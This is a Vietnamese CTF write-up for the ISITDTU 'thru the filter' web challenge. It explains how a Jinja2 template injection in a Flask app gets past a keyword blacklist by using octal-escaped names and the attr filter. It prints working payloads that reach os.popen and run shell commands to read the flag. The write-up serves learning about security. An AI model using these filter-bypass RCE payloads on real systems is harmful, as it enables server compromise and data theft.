# Web challenges
## 1. thru the filter

Mới vào thì biết là bị dính `SSTI` của `jinja2` rồi
Đề có cho source, vào đọc thử
```
from flask import Flask, request, render_template_string,redirect
app = Flask(__name__)
def check_payload(payload):
blacklist = ['import', 'request', 'init', '_', 'b', 'lipsum', 'os', 'globals', 'popen', 'mro', 'cycler', 'joiner', 'u','x','g','args', 'get_flashed_messages', 'base', '[',']','builtins', 'namespace', 'self', 'url_for', 'getitem','.','eval','update','config','read','dict']
for bl in blacklist:
if bl in payload:
return True
return False
@app.route("/")
def home():
if request.args.get('c'):
ssti=request.args.get('c')
if(check_payload(ssti)):
return "HOLD UP !!!"
else:
return render_template_string(request.args.get('c'))
else:
return redirect("""/?c={{ 7*7 }}""")
if __name__ == "__main__":
app.run()
```
Ú là la, filter khét đấy
Gần như là filter 99% payload có mặt trên thị trường
Stuck một lúc lâu thì quyết định xin hint của 1 người anh so ciuu 😘
<br>
Để bypass được mấy khứa trên thì phải convert payload sang `octal`
Mình có thử sang `hex` nhưng không ăn thua
<br/>
Đầu tiên là dùng
`().__class__.__base__.__subclasses__()`
Để dump toàn bộ các subclass object
Dùng `attr` để bypass `.`
Có thể hình dung như sau: thay vì `foot.bar` mình có thể dùng `foot|attr('bar')`
payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()}}`

Ở đây có cả `subprocess.Popen`, và `os.wrap_close`, cả 2 lớp này cung cấp các phương thức để exec code
<br>
Cách 1:
Giờ cần tìm được chính xác `subprocess.Popen` nằm ở đâu trong mớ kia 😑
Dùng
`().__class__.__base__.__subclasses__()[?]`
Vì filter luôn cả `[`, `]` nên mình dùng `__getitem__(?)` thay cho `[?]`
Sau một hồi brute thì cuối cùng cũng tìm thấy

payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)}}`

<br/>
Thường sử dụng `__init__` để gọi `__globals__` và trả về tất cả các module và phương thức có thể sử dụng
`().__class__.__base__.__subclasses__()[367].__init__.__globals__`
payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')}}`
<br/>
Để sử dụng được hàm `popen` thì phải thông qua lớp `os`
`().__class__.__base__.__subclasses__()[367].__init__.__globals__['os'].popen('ls').read()`
payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('ls')|attr('\162\145\141\144')()}}`

Ú là la đi lụm flag thôi
Chả hiểu sao `flag` bị filter mà trong source lại không thấy 😑
`().__class__.__base__.__subclasses__()[367].__init__.__globals__['os'].popen('cat *').read()`
payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(367)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('cat+*')|attr('\162\145\141\144')()}}`

<br/>
Cách 2: Dùng `os.wrap_close`
Tương tự như cách 1, cần tìm được vị trí của nó (ở 137)

Và payload cũng sẽ hơi khác một chút
`().__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('cat *').read()`
full payload: `{{()|attr("\137\137\143\154\141\163\163\137\137")|attr('\137\137\142\141\163\145\137\137')|attr('\137\137\163\165\142\143\154\141\163\163\145\163\137\137')()|attr('\137\137\147\145\164\151\164\145\155\137\137')(137)|attr('\137\137\151\156\151\164\137\137')|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\160\157\160\145\156')('cat+*')|attr('\162\145\141\144')()}}`
Flag: ~~**`ISITDTU{tough_times_create_tough_guys!@@%#0@}`**~~